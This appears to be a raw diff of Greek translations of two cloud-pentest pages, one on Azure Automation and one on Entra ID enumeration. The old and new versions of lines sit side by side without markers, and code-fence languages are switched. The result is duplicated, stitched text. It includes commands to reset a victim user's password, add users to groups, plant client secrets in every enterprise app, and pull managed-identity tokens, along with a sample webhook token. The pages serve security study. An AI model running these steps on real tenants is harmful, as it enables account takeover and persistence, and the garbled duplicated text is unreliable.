Επιτρέπει την εισαγωγή Runbooks από **Github, Azure Devops (Git) και Azure Devops (TFVC)**. Είναι δυνατή η ένδειξη για να δημοσιεύσετε τα Runbooks του repo στον λογαριασμό αυτοματοποίησης Azure και είναι επίσης δυνατή η ένδειξη για να **συγχρονίσετε τις αλλαγές από το repo** στον λογαριασμό αυτοματοποίησης Azure.
Επιτρέπει την εισαγωγή Runbooks από **Github, Azure Devops (Git) και Azure Devops (TFVC)**. Είναι δυνατή η ένδειξη για να δημοσιεύσετε τα Runbooks του repo στον λογαριασμό Azure Automation και είναι επίσης δυνατή η ένδειξη για να **συγχρονίσετε τις αλλαγές από το repo** στον λογαριασμό Azure Automation.
Όταν η συγχρονισμός είναι ενεργοποιημένος, στο **αποθετήριο Github δημιουργείται ένα webhook** για να ενεργοποιεί τη συγχρονισμό κάθε φορά που συμβαίνει ένα γεγονός push. Παράδειγμα URL webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Σημειώστε ότι αυτά τα webhooks **δεν θα είναι ορατά** κατά την καταχώριση webhooks στα συσχετιζόμενα runbooks με το repo Github. Επίσης, σημειώστε ότι **δεν είναι δυνατή η αλλαγή του URL του repo** ενός source control μόλις δημιουργηθεί.
Σημειώστε ότι αυτά τα webhooks **δεν θα είναι ορατά** κατά την καταχώριση webhooks στα συσχετιζόμενα runbooks με το αποθετήριο Github. Επίσης, σημειώστε ότι **δεν είναι δυνατή η αλλαγή του URL του repo** ενός source control μόλις δημιουργηθεί.
Για να λειτουργήσει η ρυθμισμένη πηγή ελέγχου, ο **Λογαριασμός Αυτοματοποίησης Azure** πρέπει να έχει μια διαχειριζόμενη ταυτότητα (σύστημα ή χρήστη) με τον ρόλο **`Contributor`**. Επιπλέον, για να αναθέσετε μια διαχειριζόμενη ταυτότητα χρήστη στον Λογαριασμό Αυτοματοποίησης, είναι απαραίτητο να δηλώσετε το ID πελάτη της διαχειριζόμενης ταυτότητας χρήστη στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Για να λειτουργήσει το ρυθμισμένο source control, ο **Azure Automation Account** πρέπει να έχει μια διαχειριζόμενη ταυτότητα (σύστημα ή χρήστη) με τον ρόλο **`Contributor`**. Επιπλέον, για να αναθέσετε μια διαχειριζόμενη ταυτότητα χρήστη στον λογαριασμό αυτοματοποίησης, είναι απαραίτητο να δηλώσετε το client ID της διαχειριζόμενης ταυτότητας χρήστη στη μεταβλητή **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Runtime Environments
@@ -61,28 +61,28 @@
### Hybrid Worker Groups
Στην Αυτοματοποίηση Azure, το προεπιλεγμένο περιβάλλον εκτέλεσης για τα runbooks είναι το **Azure Sandbox**, μια πλατφόρμα cloud που διαχειρίζεται η Azure, κατάλληλη για εργασίες που περιλαμβάνουν πόρους Azure. Ωστόσο, αυτό το sandbox έχει περιορισμούς, όπως περιορισμένη πρόσβαση σε τοπικούς πόρους και περιορισμούς στον χρόνο εκτέλεσης και τη χρήση πόρων. Για να ξεπεραστούν αυτοί οι περιορισμοί, χρησιμοποιούνται οι Υβριδικές Ομάδες Εργαζομένων. Μια Υβριδική Ομάδα Εργαζομένων αποτελείται από **ένα ή περισσότερους Υβριδικούς Εργαζόμενους Runbook εγκατεστημένους στους δικούς σας υπολογιστές**, είτε τοπικά, σε άλλα περιβάλλοντα cloud ή σε VM Azure. Αυτή η ρύθμιση επιτρέπει στα runbooks να εκτελούνται απευθείας σε αυτούς τους υπολογιστές, παρέχοντας άμεση πρόσβαση σε τοπικούς πόρους, τη δυνατότητα εκτέλεσης μεγαλύτερων και πιο απαιτητικών εργασιών, και την ευελιξία να αλληλεπιδρούν με περιβάλλοντα πέρα από την άμεση εμβέλεια της Azure.
Στην Azure Automation, το προεπιλεγμένο περιβάλλον εκτέλεσης για τα runbooks είναι το **Azure Sandbox**, μια πλατφόρμα cloud που διαχειρίζεται η Azure, κατάλληλη για εργασίες που περιλαμβάνουν πόρους Azure. Ωστόσο, αυτό το sandbox έχει περιορισμούς, όπως περιορισμένη πρόσβαση σε τοπικούς πόρους και περιορισμούς στον χρόνο εκτέλεσης και τη χρήση πόρων. Για να ξεπεραστούν αυτοί οι περιορισμοί, χρησιμοποιούνται οι Υβριδικές Ομάδες Εργαζομένων. Μια Υβριδική Ομάδα Εργαζομένων αποτελείται από **ένα ή περισσότερους Υβριδικούς Εργαζόμενους Runbook εγκατεστημένους στους δικούς σας υπολογιστές**, είτε τοπικά, σε άλλα περιβάλλοντα cloud ή σε Azure VMs. Αυτή η ρύθμιση επιτρέπει στα runbooks να εκτελούνται απευθείας σε αυτούς τους υπολογιστές, παρέχοντας άμεση πρόσβαση σε τοπικούς πόρους, τη δυνατότητα εκτέλεσης μεγαλύτερων και πιο απαιτητικών εργασιών, και την ευελιξία να αλληλεπιδρούν με περιβάλλοντα πέρα από την άμεση εμβέλεια της Azure.
Όταν δημιουργείται μια υβριδική ομάδα εργαζομένων, είναι απαραίτητο να δηλώσετε τις **credentials** που θα χρησιμοποιηθούν. Υπάρχουν 2 επιλογές:
Όταν δημιουργείται μια υβριδική ομάδα εργαζομένων, είναι απαραίτητο να δηλωθούν τα **credentials** που θα χρησιμοποιηθούν. Υπάρχουν 2 επιλογές:
- **Default credentials**: Δεν χρειάζεται να παρέχετε τις credentials και τα runbooks θα εκτελούνται μέσα στα VM ως **System**.
- **Specific credentials**: Πρέπει να παρέχετε το όνομα του αντικειμένου credentials μέσα στον λογαριασμό αυτοματοποίησης, το οποίο θα χρησιμοποιηθεί για την εκτέλεση των **runbooks μέσα στα VM**. Επομένως, σε αυτή την περίπτωση, θα μπορούσε να είναι δυνατό να **κλέψετε έγκυρες credentials** για τα VM.
- **Default credentials**: Δεν χρειάζεται να παρέχετε τα credentials και τα runbooks θα εκτελούνται μέσα στα VMs ως **System**.
- **Specific credentials**: Πρέπει να παρέχετε το όνομα του αντικειμένου credentials μέσα στον λογαριασμό αυτοματοποίησης, το οποίο θα χρησιμοποιηθεί για την εκτέλεση των **runbooks μέσα στα VMs**. Επομένως, σε αυτή την περίπτωση, θα μπορούσε να είναι δυνατό να **κλέψετε έγκυρα credentials** για τα VMs.
Επομένως, εάν μπορείτε να επιλέξετε να εκτελέσετε ένα **Runbook** σε έναν **Υβριδικό Εργαζόμενο**, θα εκτελέσετε **τυχαίες εντολές** μέσα σε μια εξωτερική μηχανή ως **System** (καλή τεχνική pivot).
Επομένως, αν μπορείτε να επιλέξετε να εκτελέσετε ένα **Runbook** σε έναν **Υβριδικό Εργαζόμενο**, θα εκτελέσετε **τυχαίες εντολές** μέσα σε έναν εξωτερικό υπολογιστή ως **System** (καλή τεχνική pivot).
Επιπλέον, εάν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες διαχειριζόμενες ταυτότητες συνδεδεμένες, το runbook θα μπορεί να έχει πρόσβαση στη **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες του VM από την υπηρεσία μεταδεδομένων**.
Επιπλέον, αν ο υβριδικός εργαζόμενος εκτελείται στην Azure με άλλες διαχειριζόμενες ταυτότητες συνδεδεμένες, το runbook θα μπορεί να έχει πρόσβαση στη **διαχειριζόμενη ταυτότητα του runbook και σε όλες τις διαχειριζόμενες ταυτότητες του VM από την υπηρεσία μεταδεδομένων**.
> [!TIP]
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από την οποία αποκτάτε το token διαχειριζόμενης ταυτότητας του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
> Θυμηθείτε ότι η **υπηρεσία μεταδεδομένων** έχει διαφορετικό URL (**`http://169.254.169.254`**) από την υπηρεσία από όπου αποκτάτε το token διαχειριζόμενης ταυτότητας του λογαριασμού αυτοματοποίησης (**`IDENTITY_ENDPOINT`**).
### State Configuration (SC)
>[!WARNING]
> Όπως αναφέρεται στα [έγγραφα](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), η Ρύθμιση Κατάστασης Αυτοματοποίησης Azure θα αποσυρθεί στις 30 Σεπτεμβρίου 2027 και θα αντικατασταθεί από [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Όπως αναφέρεται στα [έγγραφα](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), η Azure Automation State Configuration θα αποσυρθεί στις 30 Σεπτεμβρίου 2027 και θα αντικατασταθεί από [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Οι Λογαριασμοί Αυτοματοποίησης υποστηρίζουν επίσης **Ρύθμιση Κατάστασης (SC)**, η οποία είναι μια δυνατότητα που βοηθά στη **διαμόρφωση** και **διατήρηση** της **κατάστασης** των VM σας. Είναι δυνατή η **δημιουργία** και **εφαρμογή** ρυθμίσεων DSC σε **Windows** και **Linux** μηχανές.
Οι λογαριασμοί αυτοματοποίησης υποστηρίζουν επίσης **State Configuration (SC)**, η οποία είναι μια δυνατότητα που βοηθά στη **διαμόρφωση** και **διατήρηση** της **κατάστασης** των VMs σας. Είναι δυνατή η **δημιουργία** και **εφαρμογή** DSC διαμορφώσεων σε **Windows** και **Linux** μηχανές.
Από την οπτική γωνία των επιτιθέμενων, αυτό ήταν ενδιαφέρον γιατί επέτρεπε την **εκτέλεση τυχαίου κώδικα PS σε όλα τα ρυθμισμένα VM**, επιτρέποντας την κλιμάκωση προνομίων στις διαχειριζόμενες ταυτότητες αυτών των VM, πιθανώς μεταπηδώντας σε νέα δίκτυα... Επίσης, οι ρυθμίσεις θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**.
Από την οπτική γωνία των επιτιθέμενων, αυτό ήταν ενδιαφέρον γιατί επέτρεπε την **εκτέλεση τυχαίου κώδικα PS σε όλα τα ρυθμισμένα VMs**, επιτρέποντας την κλιμάκωση προνομίων στις διαχειριζόμενες ταυτότητες αυτών των VMs, πιθανώς μεταπηδώντας σε νέα δίκτυα... Επίσης, οι διαμορφώσεις θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες**.
## Enumeration
```bash
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group
@@ -2,15 +2,15 @@
{{#include ../../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
## Basic Information
Το Azure Active Directory (Azure AD) λειτουργεί ως η υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και προσβάσεων στο cloud. Είναι καθοριστικής σημασίας για την επιτρεπτικότητα των υπαλλήλων να συνδέονται και να αποκτούν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός της οργάνωσης, περιλαμβάνοντας το Microsoft 365, την πύλη Azure και μια πληθώρα άλλων SaaS εφαρμογών. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτοποίησης, περιλαμβάνοντας κυρίως **αυθεντικοποίηση, εξουσιοδότηση και διαχείριση χρηστών**.
Το Azure Active Directory (Azure AD) λειτουργεί ως η υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και προσβάσεων στο cloud. Είναι καθοριστικής σημασίας για την επιτρεπτή είσοδο των υπαλλήλων και την πρόσβαση σε πόρους, τόσο εντός όσο και εκτός της οργάνωσης, περιλαμβάνοντας το Microsoft 365, την πύλη Azure και μια πληθώρα άλλων SaaS εφαρμογών. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτοποίησης, περιλαμβάνοντας κυρίως **authentication, authorization, and user management**.
Τα κύρια χαρακτηριστικά του Azure AD περιλαμβάνουν **πολυπαραγοντική αυθεντικοποίηση** και **συνθήκες πρόσβασης**, μαζί με απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφαλείας της Microsoft. Αυτά τα χαρακτηριστικά αυξάνουν σημαντικά την ασφάλεια των ταυτοτήτων χρηστών και ενδυναμώνουν τις οργανώσεις να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασης τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος υπηρεσιών cloud της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση ταυτοτήτων χρηστών στο cloud.
Τα κύρια χαρακτηριστικά του Azure AD περιλαμβάνουν **multi-factor authentication** και **conditional access**, καθώς και απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφαλείας της Microsoft. Αυτά τα χαρακτηριστικά αυξάνουν σημαντικά την ασφάλεια των ταυτοτήτων των χρηστών και ενδυναμώνουν τις οργανώσεις να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασης τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος υπηρεσιών cloud της Microsoft, το Azure AD είναι κρίσιμο για τη διαχείριση ταυτοτήτων χρηστών στο cloud.
## Αριθμητική
## Enumeration
### **Σύνδεση**
### **Connection**
{{#tabs }}
{{#tab name="az cli" }}
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
{{#endtab }}
{{#tab name="Mg" }}
```powershell
```bash
# Login Open browser
Connect-MgGraph
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -104,7 +104,7 @@ Get-Command *az*
{{#endtab }}
{{#tab name="Raw PS" }}
```powershell
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -149,12 +149,12 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
Όταν **συνδέεστε** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Εφαρμογή Azure** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Εφαρμογές, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. **Δεν θα μπορείτε να δείτε όλες αυτές** στις **λίστες επιτρεπόμενων εφαρμογών** που μπορείτε να δείτε στην κονσόλα, **αλλά είναι επιτρεπόμενες από προεπιλογή**.
Όταν **συνδέεστε** μέσω **CLI** στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια **Εφαρμογή Azure** από έναν **tenant** που ανήκει στη **Microsoft**. Αυτές οι Εφαρμογές, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, **έχουν ένα client id**. **Δεν θα μπορείτε να τις δείτε όλες** στις **λίστες επιτρεπόμενων εφαρμογών** που μπορείτε να δείτε στην κονσόλα, **αλλά είναι επιτρεπόμενες από προεπιλογή**.
Για παράδειγμα, ένα **powershell script** που **αυθεντικοποιεί** χρησιμοποιεί μια εφαρμογή με client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Ακόμα και αν η εφαρμογή δεν εμφανίζεται στην κονσόλα, ένας sysadmin θα μπορούσε να **μπλοκάρει αυτή την εφαρμογή** ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της Εφαρμογής.
Ωστόσο, υπάρχουν **άλλα client-ids** εφαρμογών που **θα σας επιτρέψουν να συνδεθείτε στο Azure**:
```powershell
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -178,7 +178,7 @@ $token = Invoke-Authorize -Credential $credential `
-Verbose -Debug `
-InformationAction Continue
```
### Ενοικιαστές
### Tenants
{{#tabs }}
{{#tab name="az cli" }}
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -295,14 +295,14 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtabs }}
#### Αλλαγή Κωδικού Χρήστη
```powershell
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Conditional Access Policies
Συνιστάται έντονα να προσθέσετε MFA σε κάθε χρήστη, ωστόσο, ορισμένες εταιρείες δεν θα το ρυθμίσουν ή μπορεί να το ρυθμίσουν με Conditional Access: Ο χρήστης θα είναι **υποχρεωμένος σε MFA αν** συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια προϋπόθεση**. Αυτές οι πολιτικές, αν δεν ρυθμιστούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Ελέγξτε:
Συνιστάται ανεπιφύλακτα να προσθέσετε MFA σε κάθε χρήστη, ωστόσο, ορισμένες εταιρείες δεν θα το ρυθμίσουν ή μπορεί να το ρυθμίσουν με Conditional Access: Ο χρήστης θα είναι **υποχρεωμένος σε MFA αν** συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή **κάποια προϋπόθεση**. Αυτές οι πολιτικές, αν δεν ρυθμιστούν σωστά, μπορεί να είναι επιρρεπείς σε **bypasses**. Ελέγξτε:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -318,7 +318,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
{{#tabs }}
{{#tab name="az cli" }}
```powershell
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
@@ -394,11 +394,11 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### Προσθήκη χρήστη σε ομάδα
Οι ιδιοκτήτες της ομάδας μπορούν να προσθέσουν νέους χρήστες στην ομάδα
```powershell
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> Οι ομάδες μπορεί να είναι δυναμικές, που σημαίνει ότι **αν ένας χρήστης πληροί ορισμένες προϋποθέσεις θα προστεθεί σε μια ομάδα**. Φυσικά, αν οι προϋποθέσεις βασίζονται σε **γνωρίσματα** που μπορεί να **ελέγξει** ένας **χρήστης**, θα μπορούσε να καταχραστεί αυτή τη δυνατότητα για να **μπει σε άλλες ομάδες**.\
> Οι ομάδες μπορεί να είναι δυναμικές, που σημαίνει ότι **αν ένας χρήστης πληροί ορισμένες προϋποθέσεις, θα προστεθεί σε μια ομάδα**. Φυσικά, αν οι προϋποθέσεις βασίζονται σε **γνωρίσματα** που μπορεί να **ελέγξει** ένας **χρήστης**, θα μπορούσε να καταχραστεί αυτή τη δυνατότητα για να **μπει σε άλλες ομάδες**.\
> Δείτε πώς να καταχραστείτε τις δυναμικές ομάδες στην παρακάτω σελίδα:
{{#ref}}
@@ -407,7 +407,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### Service Principals
Για περισσότερες πληροφορίες σχετικά με τους service principals του Entra ID, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με τους service principals του Entra ID, δείτε:
{{#ref}}
../az-basic-information/
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
@@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
@@ -489,7 +489,7 @@ Headers = @{
<details>
<summary>Λίστα και προσπάθεια προσθήκης ενός client secret σε κάθε Enterprise App</summary>
```powershell
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -604,7 +604,7 @@ Write-Output "Failed to Enumerate the Applications."
Όταν δημιουργείται μια Εφαρμογή, δίνονται 2 τύποι δικαιωμάτων:
- **Δικαιώματα** που δίνονται στο **Service Principal**
- **Δικαιώματα** που μπορεί να έχει και να χρησιμοποιεί η **εφαρμογή** εκ μέρους του **χρήστη**.
- **Δικαιώματα** που μπορεί να έχει και να χρησιμοποιεί η **εφαρμογή** **εκ μέρους του χρήστη**.
{{#tabs }}
{{#tab name="az cli" }}
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -657,11 +657,11 @@ Get-AzADAppCredential
> Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> Μια μυστική αλφαριθμητική συμβολοσειρά που χρησιμοποιεί η εφαρμογή για να αποδείξει την ταυτότητά της κατά την αίτηση ενός token είναι ο κωδικός πρόσβασης της εφαρμογής.\
> Μια μυστική συμβολοσειρά που χρησιμοποιεί η εφαρμογή για να αποδείξει την ταυτότητά της κατά την αίτηση ενός token είναι ο κωδικός πρόσβασης της εφαρμογής.\
> Έτσι, αν βρείτε αυτόν τον **κωδικό πρόσβασης** μπορείτε να έχετε πρόσβαση ως **service principal** **μέσα** στον **tenant**.\
> Σημειώστε ότι αυτός ο κωδικός πρόσβασης είναι ορατός μόνο όταν δημιουργείται (μπορείτε να τον αλλάξετε αλλά δεν μπορείτε να τον αποκτήσετε ξανά).\
> Ο **ιδιοκτήτης** της **εφαρμογής** μπορεί να **προσθέσει έναν κωδικό πρόσβασης** σε αυτήν (έτσι ώστε να μπορεί να την προσποιηθεί).\
> Οι συνδέσεις ως αυτές οι service principals **δεν χαρακτηρίζονται ως επικίνδυνες** και **δεν θα έχουν MFA.**
> Ο **ιδιοκτήτης** της **εφαρμογής** μπορεί να **προσθέσει έναν κωδικό πρόσβασης** σε αυτήν (έτσι μπορεί να την προσποιηθεί).\
> Οι συνδέσεις ως αυτές οι service principals **δεν σημειώνονται ως επικίνδυνες** και **δεν θα έχουν MFA.**
Είναι δυνατόν να βρείτε μια λίστα με τα κοινώς χρησιμοποιούμενα App IDs που ανήκουν στη Microsoft στο [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -801,7 +801,7 @@ az rest --method GET \
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -850,7 +850,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> Αν μια συσκευή (VM) είναι **συνδεδεμένη με AzureAD**, οι χρήστες από το AzureAD θα είναι **σε θέση να συνδεθούν**.\
> Αν μια συσκευή (VM) είναι **συνδεδεμένη με AzureAD**, οι χρήστες από το AzureAD θα μπορούν να **συνδεθούν**.\
> Επιπλέον, αν ο συνδεδεμένος χρήστης είναι **Ιδιοκτήτης** της συσκευής, θα είναι **τοπικός διαχειριστής**.
### Διοικητικές Μονάδες
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
@@ -906,16 +906,16 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
### Διαχείριση Προνομιακής Ταυτότητας (PIM)
Η Διαχείριση Προνομιακής Ταυτότητας (PIM) στο Azure βοηθά να **αποτρέπονται οι υπερβολικές προνομίες** να ανατίθενται σε χρήστες χωρίς λόγο.
Η Διαχείριση Προνομιακής Ταυτότητας (PIM) στο Azure βοηθά στην **πρόληψη της υπερβολικής εκχώρησης προνομίων** σε χρήστες χωρίς λόγο.
Ένα από τα κύρια χαρακτηριστικά που παρέχει το PIM είναι ότι επιτρέπει να μην ανατίθενται ρόλοι σε κύριους που είναι συνεχώς ενεργοί, αλλά να γίνονται **επιλέξιμοι για μια περίοδο (π.χ. 6 μήνες)**. Στη συνέχεια, όποτε ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να ζητήσει αυτόν, υποδεικνύοντας τον χρόνο που χρειάζεται την προνομία (π.χ. 3 ώρες). Στη συνέχεια, ένας **διαχειριστής πρέπει να εγκρίνει** το αίτημα.\
Μία από τις κύριες δυνατότητες που παρέχει το PIM είναι ότι επιτρέπει να μην εκχωρούνται ρόλοι σε κύριους που είναι συνεχώς ενεργοί, αλλά να γίνονται **επιλέξιμοι για μια περίοδο (π.χ. 6 μήνες)**. Στη συνέχεια, όποτε ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να ζητήσει αυτόν, υποδεικνύοντας τον χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας **διαχειριστής πρέπει να εγκρίνει** το αίτημα.\
Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να **επέκταση** του χρόνου.
Επιπλέον, **το PIM στέλνει email** όποτε ένας προνομιακός ρόλος ανατίθεται σε κάποιον.
Επιπλέον, **το PIM στέλνει email** όποτε εκχωρείται ένας προνομιακός ρόλος σε κάποιον.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
Όταν το PIM είναι ενεργοποιημένο, είναι δυνατό να ρυθμιστεί κάθε ρόλος με ορισμένες απαιτήσεις όπως:
Όταν το PIM είναι ενεργοποιημένο, είναι δυνατή η ρύθμιση κάθε ρόλου με συγκεκριμένες απαιτήσεις όπως:
- Μέγιστη διάρκεια (ώρες) ενεργοποίησης
- Απαιτεί MFA κατά την ενεργοποίηση
@@ -923,8 +923,8 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
- Απαιτεί δικαιολόγηση κατά την ενεργοποίηση
- Απαιτεί πληροφορίες εισιτηρίου κατά την ενεργοποίηση
- Απαιτεί έγκριση για ενεργοποίηση
- Μέγιστος χρόνος λήξης των επιλέξιμων αναθέσεων&#x20;
- Πολλές άλλες ρυθμίσεις σχετικά με το πότε και ποιος να στέλνει ειδοποιήσεις όταν συμβαίνουν ορισμένες ενέργειες με αυτόν τον ρόλο
